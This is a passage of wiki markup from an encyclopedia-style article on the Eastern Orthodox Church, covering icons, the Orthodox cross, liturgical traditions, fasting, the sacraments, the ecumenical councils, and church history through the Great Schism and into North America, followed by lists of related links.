Tales of miraculous icons that moved, spoke, cried, bled, or gushed fragrant myrrh are not uncommon, though it has always been considered that the message of such an event was for the immediate faithful involved and therefore does not usually attract crowds.  Some miraculous icons whose reputations span long periods of time nevertheless become objects of pilgrimage along with the places where they are kept.

Some of the most venerated Russian Orthodox icons are treated in separate articles.

See also [[:Category:Eastern Orthodox icons]].

'''The Cross:''' The Byzantine (sometimes Russian) style cross (seen above-right) is usually shown with a small top crossbar representing the sign that Pontius Pilate nailed above Christ's head, however, instead of the Latin acronym '''INRI''' (''Iesus Nazarenus Rex Iudaeorum'', meaning &quot;Jesus of Nazareth, King of the Jews&quot;) the Greek '''INBI''' or its Slavonic equivalent is used. It is not uncommon, however, for this to be replaced by the phrase &quot;The King of Glory&quot; in order to answer Pilate's mocking statement with Christ's affirmation, &quot;My Kingdom is not of this world&quot;. There is also on many Orthodox depictions of the cross a bottom slanting bar. This appears for a number of reasons. First of all, there is enough evidence to show that there was a small wooden platform for the crucified to stand on in order to support his weight; in Christ's case his feet were nailed side by side to this platform with one nail each in order to prolong the torture of the cross. Evidence for this idea comes mainly from two sources, biblical (that in order to cause the victim to die faster their legs were broken so they could not support their weight and would strangle) and tradition (all early depictions of the crucifixion show this arrangement, not the later with feet on top with single nail). It has also been pointed out that the nailed hands of a body crucified in the manner often shown in modern secular art would not support the weight and would tear through, a platform for the feet would relieve this problem. The bottom bar is slanted two reasons, to represent the very real agony which Christ experienced on the cross (a refutation of Docetism) and to signify that the thief on Christ's right chose the right path while the thief on the left did not.

==Traditions==
===Chanting===
Orthodox services are sung nearly in their entirety. Services consist in part of a dialog between the clergy and the people (often represented by the choir or the Psaltis (Cantor). In each case the text is sung or chanted following a prescribed musical form. Almost nothing is read in a normal speaking voice with the exception of the homily if one is given. The church has developed eight Modes or Tones, (see [[Octoechos]]) within which a chant may be set, depending on the time of year, feast days, or other considerations of the Typikon. There are numerous versions and styles that are traditional and acceptable and these vary a great deal between cultures. It is common, especially in the United States, for a choir to learn many different styles and to mix them, singing one response in Greek, then English, then Russian, etc. This adds to the beauty and universality of the service.

===Incense===
[[Incense]] is burned during all services in the Eastern Orthodox Church. The spiritual significance of incense is simple and straightforward: it symbolizes the congenial ardor that Orthodox believe ought to characterize the life of a believing Christian, as well as evoking Christian integrity and goodness; it is seen as a representation of prayer rising to God.

===Monasticism===
[[Image:OrthodoxMonks.jpg|thumb|200px|left| Orthodox Monks at prayer in their monastery church.]]
All Orthodox Christians are expected to participate in at least some ascetical works, in response to the commandment of Christ to &quot;come, take up the cross, and follow me.&quot; ([[Gospel of Mark|Mark]] 10:21 and elsewhere) They are therefore all called to imitate, in one way or another, Christ himself who denied himself to the extent of literally taking up the cross on the way to his voluntary self-sacrifice.  However, laypeople are not expected to live in extreme asceticism since this is close to impossible while undertaking the normal responsibilities of worldly life. Those who wish to do this therefore separate themselves from the world and live as monastics: monks and nuns. As ascetics ''par excellence'', using the allegorical weapons of prayer and fasting in spiritual warfare against their passions, monastics hold a very special and important place in the Church. This kind of life is often seen as incompatible with any kind of worldly activity including that which is normally regarded as virtuous.  Social work, schoolteaching, and other such work is therefore usually left to laypeople.

[[Image:megaloschema.jpg|thumb|200px|Right|The Schema worn by Orthodox Monks.]]There are three main types of monastics. Those who live in monasteries under a common rule are ''coenobitic''. Each monastery may formulate its own rule, and although there are no religious orders in Orthodoxy some respected monastic centers such as [[Mount Athos]] are highly influential.  ''Eremitic'' monks, or hermits, are those who live solitary lives.  Hermits might be associated with a larger monastery but living in seclusion some distance from the main compound, and in such cases the monastery will see to their physical needs while disturbing them as little as possible.  They often live in the most extreme conditions and practice the strictest asceticism.  In between are those in ''semi-eremetic'' communities, or ''sketes'', where one or two monks share each of a group of nearby dwellings under their own rules and only gather together in the central chapel, or ''kyriakon'', for liturgical observances.

The spiritual insight gained from their ascetical struggles make monastics preferred for missionary activity.  Bishops are often chosen from among monks, and those who are not generally receive the monastic tonsure before their consecrations.

Many (but not all) Orthodox [[seminary|seminaries]] are attached to monasteries, combining academic preparation for [[ordination]] with participation in the community's life of prayer.  Monks who have been ordained to the priesthood are called ''hieromonk'' (priest-monk); monks who have been ordained to the deaconate are called ''hierodeacon'' (deacon-monk). Not all monks live in monasteries, some hieromonks serve as priests in parish churches thus practising &quot;monasticism in the world&quot;.

For the Orthodox, ''Father'' is the correct form of address for monks who have been tonsured to the rank of Stavrophore or higher, while Novices and Rassophores are addressed as ''Brother''.  Similarly, ''Mother'' is the correct form of address for nuns who have been tonsured to the rank of Stavrophore or higher, while Novices and Rassophores are addressed as ''Sister''. Nuns live identical ascetic lives to their male counterparts and are therefore also called ''monachoi'' (monastics), and their common living space is called a monastery.  Some women's monasteries are nearby or even adjoining a men's monastery.

===Fasting===
[[Fasting]] is a very important, indeed necessary practice in the Orthodox Church. Fasting is never seen as a way to earn the believer &quot;points&quot; or the right to salvation; it is merely an exercise in self-denial that serves to rid the believer of his or her ''passions'' (what most modern people would call &quot;addictions&quot;). These often low-intensity and hard-to-detect addictions to food, television or other entertainments, sex, or any kind of self-absorbed pleasure-seeking are seen as some of the most significant obstacles for man seeking closeness to God. Through struggling with fasting the believer comes face to face with the reality of his condition &amp;mdash; the starting point for genuine repentance according to the Eastern Orthodox tradition.

Fasting is also never looked on as a hardship or punishment but rather as a great privilege and joy, although it can be very difficult. Those who for medical reasons (diabetes, for example) cannot fast, often see themselves as missing a great spiritual opportunity. Fasting typically involves differing levels of abstinence depending on the day or season and ranges from a complete fast from all food and drink to abstinence from all animal products (meat, dairy, eggs, etc.), olive oil, and wine.  

Although the traditional proscription is against olive oil, it is often interpreted as excluding all vegetable oils. 

[[Shellfish]] is not included in the proscription against [[meat]]; accordingly, shellfish is permitted during fasts. (So-called &quot;[[Surimi|imitation crabmeat]]&quot; is not Lenten fare as it is made not made from shellfish but, rather from fish, generally, [[pollock]].)  Although shellfish is permitted, fasting Orthodox Christians would also need to take into account the overarching principles of denial and moderation; thus, feasts of lobster and crab (like feasts on other luxurious Lenten foods) during fasts could still be contrary to the spirit of fasting.

Vegetable oils are permitted on certain days and weeks of the fast as is wine. Thus, most fasting guidelines resemble a [[vegan]] diet with all cooking done simply with water but no oil. In addition to restrictions on food, it is generally understood that married couples abstain from sexual relations during a fast (see [[First Epistle to the Corinthians|1 Corinthians]] 7:5) and it is often recommended that entertainments or amusements be eliminated altogether during the stricter periods of fasting.

The time and type of fast is generally uniform for all Orthodox Christians; the times of fasting are part of the ecclesial calendar. There are four major fasting periods during the year. They are:

*The ''[[Nativity Fast]]'' (Advent or [[Winter Lent]]) which is the 40 days preceding the [[Nativity]] of Christ ([[Christmas]]).
*''[[Great Lent]]'' which consists of the 6 weeks (40 Days) preceding Palm Sunday, and Great Week (Holy Week) which precedes Pascha ([[Easter]]).
*The ''[[Apostles' Fast]]'' which varies in length from 2 to 6 weeks on the Old Calendar. It begins on Monday following the first Sunday after [[Pentecost]] and extends to the feast day of Saints Peter and Paul on June 29th.  It can virtually disappear on the New Calendar (one of the reasons for the Old Calendar Movement).
*The two-week long Fast preceding the ''[[Dormition of the Theotokos]]'' (repose of The Virgin Mary).

In addition, except during feasting weeks, members of the Orthodox Church fast on every Wednesday in commemoration of Christ's betrayal by [[Judas Iscariot]], and on every Friday in commemoration of his [[crucifixion]]. Monastics often include Mondays as a fast day in commemoration of the [[Angels]]. 

The number of fast days varies each year, but in general the Orthodox Christian can expect to spend over half the year fasting at some level of strictness.

It is considered a greater sin to advertise one's fasting than to not participate in the fast. Fasting is a purely personal communication between the Orthodox and God, and in fact has no place whatsoever in the public life of the Orthodox Church. If one has respnsibilities that cannot be fulfilled because of fasting, then it is perfectly permissible to not fast.

===Almsgiving=== 
&quot;[[Almsgiving]]&quot; refers to any charitable giving of material resources to those in need. Along with ''prayer'' and ''fasting'', it is considered a pillar of the personal spiritual practices of the Orthodox Christian tradition. Almsgiving is particularly important during periods of fasting, when the Orthodox believer is expected to share the monetary savings from his or her decreased consumption with those in need.

===Baptism===
[[Baptism]] is the rite by which a person's sins are remitted and he is united to the Body of Christ by becoming a member of the Orthodox Church.  [[Holy water]] is blessed, and the person to be baptized is fully immersed in it three times in the name of the Holy Trinity.  This is considered to be a death of the &quot;old man&quot; by participation in the crucifixion and burial of Christ, and a rebirth into new life in Christ by participation in his resurrection.

Children of Orthodox families are normally baptized shortly after birth.  Converts from other religions or the unchurched must be received by baptism.  Local rules vary for converts from other Christian groups.  Depending on the group and the rules of the local Church, such a convert may be received by either baptism, chrismation, or just by confession of the Orthodox faith.

This is the only one of the Mysteries (Sacraments) that need not be facilitated by a minister who has received Holy Orders, although this would mostly obtain to emergency situations.

===Chrismation===
[[Chrismation]] (sometimes called [[Confirmation|confirmation]]) is the mystery by which a person, who has been baptized is granted the gift of the [[Holy Spirit]] through anointing with Holy [[Chrism]]. It is normally given immediately after baptism as part of the same service, but is also used to receive lapsed members of the Orthodox Church. As baptism is a person's participation in the death and resurrection of Christ, so chrismation is a person’s participation in the coming of the Holy Spirit at [[Pentecost]].

A baptized and chrismated Orthodox Christian is a full member of the Church, and may receive the Eucharist regardless of age.

Chrism may be blessed by any bishop, but this is normally done only by the chief hierarch of a local church during Holy Week.  Anointing with it substitutes for the laying-on of hands described in the New Testament.

===Holy Communion===
The [[Eucharist]] is at the center of Orthodox Christianity. In practice, it is the partaking of bread and wine in the midst of the [[Divine Liturgy]] with the rest of the church. The bread and wine are believed to be the genuine Body and Blood of the Christ [[Jesus]]. The Eastern Orthodox Church has never described exactly how this occurs, or gone into the detail that the Roman Catholic and Protestant churches have in the West. The doctrine of [[transubstantiation]] was formulated after the Great Schism took place, and the Orthodox churches have never formally affirmed or denied it, preferring to state simply that it is a mystery and sacrament.

Communion is given only to baptized, chrismated Orthodox Christians who have prepared by fasting, prayer, and confession (if of the age of reason, see below).  The priest will administer the gifts with a spoon directly into the recipient's mouth from the chalice.  From baptism young infants and children are carried to the chalice to receive Holy Communion.

It is the opinion of some traditionalists that frequent communion is dangerous spiritually if it reflects a lack of piety in approaching the most significant of the Mysteries, which would be damaging to the soul.  However, many spiritual advisors advocate frequent reception as long as it is done in the proper spirit and not casually, with full preparation and discernment.  Frequent reception is more common now than in recent centuries.

===Repentance===
Orthodox Christians who have committed sins but repent of them, and who wish to reconcile themselves to God and renew the purity of their original [[baptism]]s, quietly confess their sins to God before an [[icon]] of [[Jesus]] and in the presence of a priest as a witness, who then prays for God's forgiveness and confirms it with a blessing. Although it is not an essential component of the Mystery, the opportunity is often taken at this time to offer spiritual counsel.  Orthodox confession can therefore take the form of a discussion between the confessor and the penitent concerning his or her sins and the best means of overcoming them. Sin is not viewed by the Orthodox as a stain on the soul that needs to be wiped out, or a legal transgression that must be set right by a punitive sentence, but rather as an illness in need of a cure.  [[Penance]] is therefore given only occasionally, at the discretion of the confessor, if he believes the sins mentioned in his hearing to be symptomatic of some spiritual illness requiring that treatment. It typically consists of a temporary excommunication, ideally accompanied by intensified prayer and fasting.

Repentance is essential preparation for receiving the Eucharist ([[First Epistle to the Corinthians|1 Corinthians]] 11:28) but this is not required of very young children who have not yet attained the [[age of reason]]&lt;!--NB to robot operators: DAB page contains appropriate dictdef.  Please to not disambiguate.  De-wiki preferable.--&gt;.

===Marriage===
{{further|[[Marriage in the Eastern Orthodox Church]]}}
Orthodox Marriage is seen as an act of God in which he joins two believers into one.   Procreation is not seen as the only reason for marriage though it is referenced throughout the standard Orthodox Wedding Service. The fact that intimacy between married adults creates a loving bond is paramount, and that union between the two is reflective of our ultimate union with God.

The Sacrament of Marriage in the Orthodox Church has two distinct parts: The Betrothal and The Crowning. The Betrothal includes: The exchange of the rings, the procession, the declaration of intent and the lighting of candles. Then follows the Crowning, the epistle, the gospel, the Blessing of the Common Cup and the Dance of Isaiah, and then the Removal of the Crowns. Finally there is the Greeting of the Couple.

Unlike the Roman Catholic Church, the Orthodox Church allows divorce and allows divorced men and women to remarry under specific circumstances (infidelity, apostasy, etc.) as judged by a Spiritual Court or Bishop. It is regarded as a great tragedy, however, and a second marriage normally requires special permission from a bishop. A second wedding is always performed in the context of repentance on the part of the previously married party, a fact reflected in the ceremony.

A peculiarity of the Orthodox wedding ceremony is that there is no exchange of vows.  There is a set expectation of the obligations incumbent on a married couple, and whatever promises they may have privately to each other are their responsibility to keep.

===Holy Orders===
[[Image:Orthodox clergy.jpg|left|thumb|300px|Orthodox clergy at All Saints Antiochian Orthodox Church, Raleigh, NC (L to R):  priest (Fr. Nicholas Sorensen), two deacons, bishop]]
Since its founding, the Church spread to different places, and the leaders of the Church in each place came to be known as ''episkopoi'' (overseers, plural of ''episkopos'', overseer &amp;mdash; Gr. {{polytonic|ἐπίσκοπος}}), which became &quot;[[bishop]]&quot; in English. The other [[Holy Orders|ordained]] roles are ''presbyter'' (Gr. {{polytonic|πρεσβύτερος}}, elder), which became &quot;prester&quot; and then &quot;[[priest]]&quot; in English, and ''diakonos'' (Gr. {{polytonic|διάκονος}}, servant), which became &quot;[[deacon]]&quot; in English (see also [[subdeacon]]). There are numerous administrative positions in the clergy that carry additional titles. In the Greek tradition, bishops who occupy an ancient See are called Metropolitan, while the lead bishop in Greece is the Archbishop. Priests can be archpriests, archimandrites, or protopresbyters. Deacons can be archdeacons or protodeacons as well. The position of deacon is often occupied for life.  The deacon also acts as an assistant to a bishop.

The Orthodox Church has always allowed married priests and deacons, provided the marriage takes place before [[ordination]]. In general, parish priests are to be married as they live in normal society (that is, &quot;in the world&quot; and not a monastery) where Orthodoxy sees marriage as the normative state.  Unmarried priests usually live in monasteries since it is there that the unmarried state is the norm, although it sometimes happens that an unmarried priest is assigned to a parish. Widowed priests and deacons may not remarry, and it is common for such a member of the clergy to retire to a monastery (see [[clerical celibacy]]). This is also true of widowed wives of clergy, who often do not remarry and may become nuns if their children are grown. Bishops are always [[clerical celibacy|celibate]]. Although Orthodox consider men and women equal before God ([[Epistle to Galatians|Gal.]] 3:28), only men who are qualified and have no canonical impediments may be ordained bishops, priests, or deacons.[[Image:Bishops March for Life.jpg|right|thumb|250px|Orthodox bishops and faithful at the 2005 [[Pro-Life|March for Life]] in [[Washington, DC]]]]

===Anointing with Holy Oil===
Anointing, or Holy Unction, is one of the many mysteries administered by the Orthodox Church. The Mystery is far more common in the Orthodox Church than in the Roman Catholic as it is not reserved for the dying or terminally ill, but for all in need of spiritual or bodily healing. In addition to it being given annually on [[Holy Wednesday|Great Wednesday]] to all believers, it is often distributed on major feast days, or any time the cleargy feel it necessary for the spiritual wellfare of its congregation. 

According to Orthodox teaching Holy Unction is based on [[Epistle of James|James]] 5:14-15:

&lt;blockquote&gt;''Is anyone among you sick? Let him call for the elders of the church, and let them pray over him, anointing him with oil in the name of the Lord. And the prayer of faith will save the sick, and the Lord will raise him up. And if he has committed sins, he will be forgiven.''&lt;/blockquote&gt;

==History==
===The early Church===
[[Christianity]] first spread in the predominantly [[Greek language|Greek]]-speaking eastern half of the [[Roman Empire]].  [[Paul of Tarsus|Paul]] and the [[Twelve Apostles|Apostles]] traveled extensively throughout the Empire, establishing Churches in major communities, with the first Churches appearing in [[Antioch]], [[Alexandria]], and [[Jerusalem]], and then the two political centres of [[Rome]] and [[Constantinople]]. Orthodox believe an  [[Apostolic Succession]] was established; this played a key role in the Church's view of itself as the preserver of the Christian community. Systematic persecution of Christians stopped in [[313]] when [[Roman Emperor|Emperor]] [[Constantine I of the Roman Empire|Constantine the Great]] proclaimed the [[Edict of Milan]]. From that time forward, the [[Byzantine Emperor]] exerted various degrees of influence over the church (see [[Caesaropapism]]). This included the calling of the [[Ecumenical Council]]s to resolve disputes and establish church [[dogma]] on which the entire church would agree. Sometimes [[Patriarch]]s (often of [[Constantinople]]) were deposed by the emperor; at one point emperors sided with the [[iconoclasm|iconoclasts]] in the eighth and ninth centuries.

Several [[Ecumenical Council]]s were held between [[325]] (the [[First Council of Nicaea]]) and [[787]] (the [[Second Council of Nicaea]]), which to Orthodox constitute the definitive interpretation of Christian dogma.  Orthodox thinking differs on whether the [[Fourth Council of Constantinople|Fourth]] and [[Fifth Council of Constantinople|Fifth]] Councils of Constantinople were properly Ecumenical Councils, but the majority view is that they were merely influential, and not bindingly dogmatic.

Orthodox Christian culture reached its golden age during the high point of [[Byzantine Empire]] and continued to flourish in [[Russia]], after the [[fall of Constantinople]]. Numerous [[autocephalous]] jurisdictions were established in [[Eastern Europe]] and [[Slavic peoples|Slavic]] areas.

The Orthodox jurisdictions with the largest number of adherents in modern times are the [[Russian Orthodox Church|Russian]] and the [[Romanian Orthodox Church|Romanian]] Orthodox churches.  The most ancient of the Orthodox churches of today are the Churches of [[Orthodox Church of Constantinople|Constantinople]], [[Orthodox Church of Alexandria|Alexandria]], [[Georgian Orthodox Church|Georgia]], [[Antiochian Orthodox Church|Antioch]], and [[Orthodox Church of Jerusalem|Jerusalem]].

===The Roman/Byzantine Empire===
Several doctrinal disputes from the 4th century onwards led to the calling of [[Ecumenical council]]s. The Church in Egypt (Patriarchate of Alexandria) split into two groups following the [[Council of Chalcedon]] ([[451]]), over a dispute about the relation between the divine and human natures of [[Jesus]]. Eventually this led to each group having its own Patriarch (Pope). Those that remained in communion with the other patriarchs were called &quot;Melkites&quot; (the king's men, because Constantinople was the city of the emperors) [not to be confused with the [[Melkite Greek Catholic Church|Melkite Catholics]] of Antioch], and are today known as the Greek Orthodox Patriarchate of Alexandria, until recently led by [[Pope Petros VII]]. Those who disagreed with the findings of the Council of Chalcedon are today known as the [[Coptic Christianity|Coptic]] Orthodox Patriarchate of Alexandria, led by [[Pope Shenouda III]]. There was a similar split in [[Syria]]. Those who disagreed with the Council of Chalcedon are sometimes called &quot;[[Oriental Orthodoxy|Oriental Orthodox]]&quot; to distinguish them from the Eastern Orthodox, who accepted the Council of Chalcedon. Oriental Orthodox are also sometimes referred to as &quot;[[monophysite]]s&quot;, &quot;non-Chalcedonians&quot;, or &quot;anti-Chalcedonians&quot;, although today the Oriental Orthodox Church denies that it is monophysite and prefers the term &quot;[[miaphysite]]&quot;, to denote the &quot;joined&quot; nature of Jesus. Both the Eastern Orthodox and Oriental Orthodox churches formally believe themselves to be the continuation of the true church and the other fallen into heresy, although over the last several decades there has been some reconciliation.

In the 530s the [[Hagia Sophia|Church of the Holy Wisdom]] (Hagia Sophia) was built in [[Constantinople]] under emperor [[Justinian I]].

===The seven ecumenical councils=== 
Eastern Orthodox Christianity recognizes only these seven [[ecumenical council|ecumenical councils]].
#The [[First Ecumenical Council|first]] of the Seven Ecumenical Councils was that convoked by the Roman Emperor Constantine at Nicea in 325, condemining the view of Arius that the Son is a created being inferior to the Father.
#The [[Second Ecumenical Council]] was held at Constantinople in 381, defining the nature of the Holy Spirit against those asserting His inequality with the other persons of the Trinity.
#The [[Third Ecumenical Council]] is that of Ephesus in 431, which affirmed that Mary is truly &quot;Birthgiver&quot; or &quot;Mother&quot; of God (''[[Theotokos]]''), contrary to the teachings of Nestorius.
#The [[Fourth Ecumenical Council]] is that of Chalcedon in 451, which affirmed that Jesus is truly God and truly man, without mixture of the two natures, contrary to Monophysite teaching.
#The [[Fifth Ecumenical Council]] is the second of Constantinople in 553, interpreting the decrees of Chalcedon and further explaining the relationship ot the two natures of Jesus; it also condemned the teachings of Origen on the pre-existence of the soul, etc.
#The [[Sixth Ecumenical Council]] is the third of Constantinople in 681; it declared that Christ has two wills of his two natures, human and divine, contrary to the teachings of the Monothelites.
#The [[Seventh Ecumenical Council]] was called under the Empress Regent Irene in 787, known as the second of Nicea. It affirmed the making and veneration of [[icon]]s, while also forbidding the worship of icons and the making of three-dimensional statuary. It reversed the declaration of an earlier council that had called itself the Seventh Ecumenical Council and also nullified its status (see separate article on [[Iconoclasm]]). That earlier council had been held under the iconoclast Emperor [[Constantine V]]. It met with more than 340 bishops at Constantinople and Hieria in 754, declaring the making of icons of Jesus or the saints an error, mainly for Christological reasons.

===The Oriental Orthodox===
As noted above, Eastern Orthodoxy strives to keep the faith of the aforementioned seven [[ecumenical council|Ecumenical Councils]]. In contrast, the term &quot;[[Oriental Orthodoxy]]&quot; refers to the churches of [[Eastern Christianity|Eastern Christian]] traditions that keep the faith of only the first three ecumenical councils — the [[First Council of Nicaea]], the [[First Council of Constantinople]] and the [[Council of Ephesus]] — and rejected the [[dogmatic definition]]s of the [[Council of Chalcedon]]. Thus, &quot;Oriental Orthodox&quot; churches are distinct from the churches that collectively refer to themselves as &quot;Eastern Orthodox&quot;.  As well, there are the &quot;[[Nestorianism|Nestorian]]&quot; churches, which are Eastern Christian churches that keep the faith of only the first two ecumenical councils, i.e., the First Council of Nicaea and the First Council of Constantinople.

===The Great Schism===
In the 11th century the [[East-West Schism|Great Schism]] took place between [[Rome]] and [[Constantinople]], which led to separation of the Church of the West, the Roman Catholic Church, and the [[Eastern Christianity|Churches of the East]]. There were doctrinal issues like the [[filioque clause]] and the authority of the [[Pope]] involved in the split, but these were exacerbated by cultural and linguistic differences.

The final breach is often considered to have arisen after the sacking of Constantinople by the [[Fourth Crusade]] in [[1204]]. The sacking of the [[Hagia Sophia|Church of Holy Wisdom]] and establishment of the [[Latin Empire]] in [[1204]] is viewed with some rancor to the present day. In [[2004]], [[Pope John Paul II]] extended a formal apology for the sacking of Constantinople in 1204; the apology was formally accepted by [[Patriarch Bartholomew of Constantinople]]. Many things that were stolen during this time:  relics, riches, and many other items, are still held in various Catholic churches in Western Europe. 

In [[1453]], the [[Byzantine Empire|last of the Roman Empire (with its capital at Constantinople)]] fell to the [[Ottoman Empire]]. By this time [[Egypt]] had been under Muslim control for some seven centuries, but Orthodoxy was very strong in Russia; and so [[Moscow]], called the [[New Rome|Third Rome]], became a major new center of the Church at that time.

===Conversion of East and South Slavs===
In the ninth and tenth centuries, Orthodoxy made great inroads into [[Eastern Europe]], including [[Kievan Rus']]. This work was made possible by the work of the Byzantine [[christian saint|saint]]s [[Saint Cyril|Cyril]] and [[Saint Methodius|Methodius]]. When Rastislav, the king of Moravia, asked Byzantium for teachers who could minister to the Moravians in their own language, Byzantine emperor Michael III chose these two brothers. As their mother was a Slav from the hinterlands of Thessaloniki, Cyril and Methodius spoke the local [[Slavonic languages|Slavonic]] vernacular and translated the [[Bible]] and many of the prayer books. As the translations prepared by them were copied by speakers of other dialects, the hybrid literary language [[Old Church Slavonic]] was created. Originally sent to convert the Slavs of [[Great Moravia]], Cyril and Methodius were forced to compete with Frankish missionaries from the Roman diocese. Their disciples were driven out of Great Moravia in AD [[886]]. 

Some of the disciples, however, reached [[Bulgaria]] where they were welcomed by the Bulgarian [[Tsar]] [[Boris I of Bulgaria|Boris I]] who viewed the Slavonic liturgy as a way to counteract Greek influence in the country. In a short time the disciples of Cyril and Methodius managed to prepare and instruct the future Slav Bulgarian clergy into the [[Glagolitic alphabet]] and the biblical texts and in AD [[893]], Bulgaria expelled its Greek clergy and proclaimed the [[Bulgarian language|Slavonic language]] as the official language of the church and the state. The success of the conversion of the Bulgarians facilitated the conversion of other East [[Slavic peoples]], most notably the [[Rus' (people) |Rus']], predecessors of [[Belarusians]], [[Russians]], and [[Ukrainians]].

The missionaries to the East and South Slavs had great success in part because they used the people's native language rather than [[Latin]] as the Roman priests did, or [[Greek language|Greek]]. Today the [[Russian Orthodox Church]], in spite of being discouraged and sometimes persecuted by the [[secular]] government of the [[Soviet Union]], is the largest of the Orthodox Churches.

===The Church in North America===
[[Image:St Tikhons Monastery.jpg|left|thumb|300px|St. Tikhon's Russian Orthodox Monastery in [[South Canaan Township, Pennsylvania|South Canaan, Pennsylvania]]]]
The [[Russian Orthodox Church]] sent missionaries to [[Alaska]] beginning in the 18th century. Among the first was Saint [[Herman of Alaska]]. This established missionary precedence for the Russian Orthodox Church in the Americas, and Eastern Orthodox Christians were under the ''[[omophorion]]'' (Church authority and protection) of the Patriarch of Moscow. The Russian Orthodox Church was devastated by the [[Bolshevik Revolution]]. One side effect was the flood of refugees from Russia to the [[United States]], [[Canada]], and [[Europe]]. Among those who came were Orthodox lay people, deacons, priests, and bishops. In [[1920]] [[Tikhon of Moscow|Patriarch Tikhon]] issued an ''[[ukase]]'' (decree) that Orthodox Christians under his leadership but outside of Russia should seek refuge with whatever Orthodox jurisdiction that would shield them from Communist control. The various national Orthodox communities thus were permitted as an emergency measure to look towards their immigrant homelands for ecclesiastic leadership rather than be tied to Russia. Some of the Russian Orthodox formed an independent [[synod]] that became the [[Russian Orthodox Church Outside Russia]] (ROCOR), sometimes also called the Russian Orthodox Church Abroad. Some of the Russian Orthodox remained in communion with Moscow and were granted [[autocephaly]] in [[1970]] as the [[Orthodox Church in America]] (OCA, though rarely referred to as &quot;TOCA&quot;). However, recognition of this autocephalic status is not universal, as the Ecumenical Patriarch (under whom is the [http://www.goarch.org Greek Orthodox Archdiocese of America]) and some other jurisdictions have not officially accepted it. The reasons for this are complex; nevertheless the Ecumenical Patriarch and the other jurisdictions remain in [[Communion (Christian)|communion]] with the OCA.

Today there are many Orthodox churches in the United States and Canada that are still bound to the Greek, Antiochian, or other overseas jurisdictions; in some cases these different overseas jurisdictions will have churches in the same U.S. city. However, there are also many &quot;pan-orthodox&quot; activities and organizations, both formal and informal, among Orthdox believers of all jurisdictions. One such organization is the [[Standing Conference of Orthodox Bishops in America]] (SCOBA), the Standing Conference of Canonical Orthodox Bishops in the Americas, which comprises North American Orthodox bishops from nearly all jurisdictions. (See [[list of Orthodox jurisdictions in North America]].)

In June of 2002, the [[Antiochian Orthodox Church]] granted self-rule to the [[Antiochian Orthodox Archdiocese of North America]]. Some observers see this as a step towards greater organizational unity in North America. 

During the past 50 years there have come into existence in North America a number of Western Rite Orthodox parishes. These are sometimes labelled &quot;[[Western Orthodox Church]]es,&quot; but this term is not generally used by Orthodox Christians of Eastern or Western rite. These are Orthodox Christians who use the Western forms of liturgy yet are Orthodox in their theology. The Antiochian Orthodox Church and ROCOR both have Western Rite parishes.

Eastern Orthodoxy has had a history in [[Orthodoxy in China|China and East Asia]] as well.

===The Church today===
The various local churches within the Orthodox Church are distinct in terms of administration and local culture, but for the most part exist in [[full communion]] with one another, with exceptions such as lack of relations between the [[Russian Orthodox Church Outside Russia]] (ROCOR) and the [[Russian Orthodox Church|Moscow Patriarchate]] (the Orthodox Church of Russia) dating from the 1920s and due to the subjection of the latter to the hostile [[Soviet Union|Soviet regime]]. However, attempts at reconciliation are being made between the ROCOR and the Moscow Patriarchate with the ultimate purpose of reunification. Further tensions exist in the philosophical differences between the New Calendarists and the Moderate Old Calendarists.

==Footnote==
# {{note|Macedoniafootnote}} A significant portion of the Former Yugoslav [[Republic of Macedonia]]'s population is Eastern Orthodox and previously was in the Serbian Orthodox Church.  However, following the breakup of [[Yugoslavia]], Orthodox Slav-Macedonians are now generally members of the Slavic Macedonian Orthodox Church, an Eastern Orthodox church that presently is not in communion with any other Eastern Orthodox church. Macedonian Orthodox church divided form Serbian in 1960-s, during Tito's government.

==See also==

* [[Eastern Orthodox liturgical calendar|Orthodox liturgical calendar]]
* [[Monasticism]]
* [[Hesychasm]]
* [[Christianity]]
*[[Christian apologetics]] (field of study concerned with the defense of Christianity)
*[[Conservative Christianity]]
* [[Caesaropapism]]
* [[Orthodox]]
* [[SCOBA]]
* [[History of Christianity]]
* [[History of the Balkans]]
* [[History of Europe]]
* [[History of the Middle East]]
* [[Old Believers]]

== External links ==
{{wikisourcecat}}
{{Commonscat|Orthodox Church}}
===Informational and further reading===
* [http://www.orthodoxwiki.org/ OrthodoxWiki]
* [http://orthodoxchristianity.orgfree.com/ Orthodox Christianity for Absolute Beginners]
* [http://www.orthodoxresearchinstitute.org/ Orthodox Research Institute]
* [http://www.hostkingdom.net/orthodox.html List of most patriarchates]
* [http://home.att.net/~sergei592/East.html The Orthodox Tradition]
* [http://www.religionfacts.com/christianity/denominations/orthodoxy.htm Eastern Orthodox Christianity]
* [http://www.orthodoxlinks.info/ Directory of Orthodox Internet Resources]
* [http://www.theandros.com Theandros—An Online Journal of Orthodox Christian Theology and Philosophy] 
* [http://www.smart.net/~mmontes/ortheast.html The Orthodox Ecclesiastical Calendar]
*[http://www.orthodoxinfo.com/ Orthodox Christian Information Center]
*[http://www.orthodoxcentral.com/talk/ Orthodox Web Portal]

===Local Orthodox churches (churches in full communion) ===
* [http://www.ec-patr.gr/ Ecumenical Patriarchate of Constantinople]
** [http://www.goarch.org/ Greek Orthodox Archdiocese of America]
** [http://www.ort.fi/ Church of Finland] (Finnish only)
** [http://www.acrod.org/ American Carpatho-Russian Orthodox Diocese]
* [http://www.greekorthodox-alexandria.org/ Church of Alexandria]
* [http://www.antiochpat.org/english/sitefiles/ Church of Antioch]
** [http://www.antiochian.org/ Antiochian Orthodox Christian Archdiocese of North America]
* [http://www.patriarchofjerusalem.com/en/home/homefr.htm Church of Jerusalem]
* [http://www.mospat.ru/index.php?lng=1 Russian Orthodox Church]
** [http://www2.gol.com/users/ocj/TheOrthodoxChurchinJapan.htm Orthodox Church in Japan]
** [http://www.orthodox.org.ua/ Ukrainian Orthodox Church - Moscow Patriarchy (UOC-MP)] (Ukrainian only)
* [http://www.patriarchate.ge/indexe.htm Church of Georgia]
* [http://www.serbian-church.net/ Church of Serbia]
** [http://www.poa-info.org/index.php?l=en Archbishopric of Ohrid (Former Yugoslav Republic of Macedonia)]
* [http://www.patriarhia.ro/ Church of Romania]
* [http://bulch.tripod.com/boc/ Church of Bulgaria]
* [http://www.orthodoxalbania.org/ Church of Albania]
* [http://www.ecclesia.gr/ Church of Greece]
* [http://www.orthodox.pl/ Church of Poland] (Polish only)
* Church of the [http://www.pravoslavnacirkev.cz/ Czechlands] and [http://www.orthodox.sk/ Slovakia] (Czech or Slovak only)
* [http://www.oca.org/ Orthodox Church in America]

===Local Orthodox churches (churches not in full communion) ===

